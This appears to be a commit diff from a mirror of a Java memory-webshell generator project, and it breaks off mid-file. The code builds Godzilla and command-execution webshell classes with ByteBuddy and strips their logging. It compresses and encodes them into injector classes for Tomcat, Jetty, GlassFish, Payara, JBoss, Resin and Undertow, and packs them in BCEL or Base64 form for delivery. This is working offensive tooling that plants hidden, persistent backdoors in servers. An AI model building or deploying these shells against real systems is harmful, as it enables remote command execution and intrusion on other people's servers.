mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 15:31:53 +08:00
refactor: unify code style
This commit is contained in:
@@ -0,0 +1,119 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
public abstract class AbstractShell {
|
||||
|
||||
/**
|
||||
* 获取当前支持的内存马功能列表
|
||||
*
|
||||
* @return supported tool lists
|
||||
*/
|
||||
public abstract List<ShellTool> getSupportedShellTools();
|
||||
|
||||
|
||||
/**
|
||||
* 获取内存马功能所支持的注入类型列表
|
||||
*
|
||||
* @param tool 内存马功能
|
||||
* @return shellTypes
|
||||
*/
|
||||
public List<String> getSupportedShellTypes(ShellTool tool) {
|
||||
return switch (tool) {
|
||||
case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
|
||||
case Command -> getCommandShellMap().keySet().stream().sorted().toList();
|
||||
default -> Collections.emptyList();
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* 检查 shellConfig 的配置是否有效
|
||||
*
|
||||
* @param shellConfig 内存马生成配置
|
||||
* @return valid
|
||||
*/
|
||||
public boolean isValid(ShellConfig shellConfig) {
|
||||
List<ShellTool> supportedShellTools = getSupportedShellTools();
|
||||
if (!supportedShellTools.contains(shellConfig.getShellTool())) {
|
||||
return false;
|
||||
}
|
||||
|
||||
List<String> supportedShellTypes = getSupportedShellTypes(shellConfig.getShellTool());
|
||||
return supportedShellTypes.contains(shellConfig.getShellType());
|
||||
}
|
||||
|
||||
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||
if (shellInjectorPair == null) {
|
||||
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
|
||||
}
|
||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||
Class<?> injectorClass = shellInjectorPair.getRight();
|
||||
|
||||
shellToolConfig.setShellClass(shellClass);
|
||||
|
||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
||||
|
||||
injectorConfig = injectorConfig
|
||||
.toBuilder()
|
||||
.injectorClass(injectorClass)
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.shellClassBytes(shellBytes).build();
|
||||
|
||||
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
||||
|
||||
return GenerateResult.builder()
|
||||
.shellConfig(shellConfig)
|
||||
.shellToolConfig(shellToolConfig)
|
||||
.injectorConfig(injectorConfig)
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.shellBytes(shellBytes)
|
||||
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||
.injectorBytes(injectorBytes)
|
||||
.build();
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取 Godzilla 注入生成类 Map
|
||||
*
|
||||
* @return shellType -> shellClass,injectorClass
|
||||
*/
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取 Command 注入生成类 Map
|
||||
*
|
||||
* @return shellType -> shellClass,injectorClass
|
||||
*/
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Collections.emptyMap();
|
||||
}
|
||||
|
||||
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
|
||||
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
|
||||
case Godzilla -> getGodzillaShellMap();
|
||||
case Command -> getCommandShellMap();
|
||||
default -> Collections.emptyMap();
|
||||
};
|
||||
return shellMap.get(shellType);
|
||||
}
|
||||
|
||||
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||
return switch (shellConfig.getShellTool()) {
|
||||
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
||||
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
||||
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.CommandConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandGenerator {
|
||||
|
||||
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
|
||||
if (shellConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||
}
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(shellConfig.getShellClass())
|
||||
.name(shellConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
||||
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||
|
||||
if (config.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (config.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
public class GlassFishShell extends AbstractShell {
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
|
||||
@Override
|
||||
public List<ShellTool> getSupportedShellTools() {
|
||||
return List.of(ShellTool.Command, ShellTool.Godzilla);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
|
||||
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
|
||||
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
|
||||
VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
|
||||
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
|
||||
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
|
||||
VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.GodzillaConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/23
|
||||
*/
|
||||
public class GodzillaGenerator {
|
||||
private final ShellConfig shellConfig;
|
||||
private final GodzillaConfig godzillaConfig;
|
||||
|
||||
public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
|
||||
this.shellConfig = shellConfig;
|
||||
this.godzillaConfig = godzillaConfig;
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (godzillaConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
|
||||
}
|
||||
if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
|
||||
throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
|
||||
}
|
||||
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(godzillaConfig.getShellClass())
|
||||
.name(godzillaConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("pass").setsValue(godzillaConfig.getPass()))
|
||||
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
|
||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(godzillaConfig.getHeaderName()))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(godzillaConfig.getHeaderValue())));
|
||||
|
||||
if (shellConfig.isJakarta()) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.InjectorConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class InjectorGenerator {
|
||||
private final ShellConfig config;
|
||||
private final InjectorConfig injectorConfig;
|
||||
|
||||
public InjectorGenerator(ShellConfig config, InjectorConfig injectorConfig) {
|
||||
this.config = config;
|
||||
this.injectorConfig = injectorConfig;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
String base64String = Base64.encodeBase64String(
|
||||
CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
|
||||
.replace(System.lineSeparator(), "");
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(injectorConfig.getInjectorClass())
|
||||
.name(injectorConfig.getInjectorClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||
|
||||
|
||||
if (config.needByPassJavaModule()) {
|
||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
if (config.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public byte[] generate() {
|
||||
DynamicType.Builder<?> builder = getBuilder();
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.jboss.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.jboss.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JbossShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
public List<ShellTool> getSupportedShellTools() {
|
||||
return List.of(ShellTool.Command, ShellTool.Godzilla);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.jetty.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/7
|
||||
*/
|
||||
public class JettyShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
public List<ShellTool> getSupportedShellTools() {
|
||||
return List.of(ShellTool.Godzilla, ShellTool.Command);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.payara.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
|
||||
import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
|
||||
import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class PayaraShell extends AbstractShell {
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
|
||||
@Override
|
||||
public List<ShellTool> getSupportedShellTools() {
|
||||
return List.of(ShellTool.Command, ShellTool.Godzilla);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class),
|
||||
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class),
|
||||
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class),
|
||||
VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class),
|
||||
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class),
|
||||
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class),
|
||||
VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.resin.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector;
|
||||
import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class ResinShell extends AbstractShell {
|
||||
@Override
|
||||
public List<ShellTool> getSupportedShellTools() {
|
||||
return List.of(ShellTool.Godzilla, ShellTool.Command);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(CommandFilter.class, ResinFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, ResinListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(GodzillaFilter.class, ResinFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, ResinListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.reajason.javaweb.config.Constants.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class TomcatShell extends AbstractShell {
|
||||
public static final String WEBSOCKET = "WebSocket";
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
public static final String UPGRADE = "Upgrade";
|
||||
public static final String EXECUTOR = "Executor";
|
||||
|
||||
@Override
|
||||
public List<ShellTool> getSupportedShellTools() {
|
||||
return List.of(ShellTool.Godzilla, ShellTool.Command);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
|
||||
JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class),
|
||||
FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class),
|
||||
WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class),
|
||||
JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class),
|
||||
FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
|
||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
|
||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class UndertowShell extends AbstractShell {
|
||||
@Override
|
||||
public List<ShellTool> getSupportedShellTools() {
|
||||
return List.of(ShellTool.Command, ShellTool.Godzilla);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
Constants.FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
|
||||
Constants.LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.bcel.classfile.Utility;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/19
|
||||
*/
|
||||
public class BCELPacker implements Packer {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/17
|
||||
*/
|
||||
public class Base64Packer implements Packer {
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return Base64.encodeBase64String(generateResult.getInjectorBytes());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
